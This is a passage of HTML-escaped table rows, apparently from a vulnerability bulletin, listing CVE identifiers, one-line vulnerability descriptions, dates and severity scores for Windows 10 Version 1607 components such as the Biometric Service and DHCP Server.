&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71345&quot; target=&quot;_blank&quot;&gt;CVE-2026-71345&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Double free in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71351&quot; target=&quot;_blank&quot;&gt;CVE-2026-71351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Double free in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71353&quot; target=&quot;_blank&quot;&gt;CVE-2026-71353&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Internet Connection Sharing (ICS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72926&quot; target=&quot;_blank&quot;&gt;CVE-2026-72926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72930&quot; target=&quot;_blank&quot;&gt;CVE-2026-72930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Buffer over-read in Windows Message Queuing Queue Manager allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72932&quot; target=&quot;_blank&quot;&gt;CVE-2026-72932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72941&quot; target=&quot;_blank&quot;&gt;CVE-2026-72941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Deployment Services allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72943&quot; target=&quot;_blank&quot;&gt;CVE-2026-72943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Fax Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72944&quot; target=&quot;_blank&quot;&gt;CVE-2026-72944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Deployment Services allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72954&quot; target=&quot;_blank&quot;&gt;CVE-2026-72954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Deployment Services allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72957&quot; target=&quot;_blank&quot;&gt;CVE-2026-72957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Modern Execution Server allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72963&quot; target=&quot;_blank&quot;&gt;CVE-2026-72963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows WebClient Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72965&quot; target=&quot;_blank&quot;&gt;CVE-2026-72965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Network Connection Broker allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72967&quot; target=&quot;_blank&quot;&gt;CVE-2026-72967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72988&quot; target=&quot;_blank&quot;&gt;CVE-2026-72988&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72990&quot; target=&quot;_blank&quot;&gt;CVE-2026-72990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72991&quot; target=&quot;_blank&quot;&gt;CVE-2026-72991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72992&quot; target=&quot;_blank&quot;&gt;CVE-2026-72992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72993&quot; target=&quot;_blank&quot;&gt;CVE-2026-72993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72994&quot; target=&quot;_blank&quot;&gt;CVE-2026-72994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72995&quot; target=&quot;_blank&quot;&gt;CVE-2026-72995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72996&quot; target=&quot;_blank&quot;&gt;CVE-2026-72996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72997&quot; target=&quot;_blank&quot;&gt;CVE-2026-72997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73000&quot; target=&quot;_blank&quot;&gt;CVE-2026-73000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73001&quot; target=&quot;_blank&quot;&gt;CVE-2026-73001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73002&quot; target=&quot;_blank&quot;&gt;CVE-2026-73002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Authentication Methods allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73005&quot; target=&quot;_blank&quot;&gt;CVE-2026-73005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73007&quot; target=&quot;_blank&quot;&gt;CVE-2026-73007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73011&quot; target=&quot;_blank&quot;&gt;CVE-2026-73011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing authorization in Data Sharing Service Client allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73014&quot; target=&quot;_blank&quot;&gt;CVE-2026-73014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73015&quot; target=&quot;_blank&quot;&gt;CVE-2026-73015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73020&quot; target=&quot;_blank&quot;&gt;CVE-2026-73020&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73021&quot; target=&quot;_blank&quot;&gt;CVE-2026-73021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Services for NFS ONCRPC XDR Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73024&quot; target=&quot;_blank&quot;&gt;CVE-2026-73024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73026&quot; target=&quot;_blank&quot;&gt;CVE-2026-73026&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77489&quot; target=&quot;_blank&quot;&gt;CVE-2026-77489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Access of resource using incompatible type (&#039;type confusion&#039;) in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77494&quot; target=&quot;_blank&quot;&gt;CVE-2026-77494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77498&quot; target=&quot;_blank&quot;&gt;CVE-2026-77498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Access of resource using incompatible type (&#039;type confusion&#039;) in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77499&quot; target=&quot;_blank&quot;&gt;CVE-2026-77499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Release of invalid pointer or reference in Windows Device Association Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77500&quot; target=&quot;_blank&quot;&gt;CVE-2026-77500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77501&quot; target=&quot;_blank&quot;&gt;CVE-2026-77501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77502&quot; target=&quot;_blank&quot;&gt;CVE-2026-77502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77886&quot; target=&quot;_blank&quot;&gt;CVE-2026-77886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Access of resource using incompatible type (&#039;type confusion&#039;) in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77888&quot; target=&quot;_blank&quot;&gt;CVE-2026-77888&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Access of resource using incompatible type (&#039;type confusion&#039;) in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77889&quot; target=&quot;_blank&quot;&gt;CVE-2026-77889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Access of resource using incompatible type (&#039;type confusion&#039;) in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77890&quot; target=&quot;_blank&quot;&gt;CVE-2026-77890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77893&quot; target=&quot;_blank&quot;&gt;CVE-2026-77893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Installer allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77894&quot; target=&quot;_blank&quot;&gt;CVE-2026-77894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77895&quot; target=&quot;_blank&quot;&gt;CVE-2026-77895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77904&quot; target=&quot;_blank&quot;&gt;CVE-2026-77904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77905&quot; target=&quot;_blank&quot;&gt;CVE-2026-77905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78447&quot; target=&quot;_blank&quot;&gt;CVE-2026-78447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78448&quot; target=&quot;_blank&quot;&gt;CVE-2026-78448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Work Folders allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
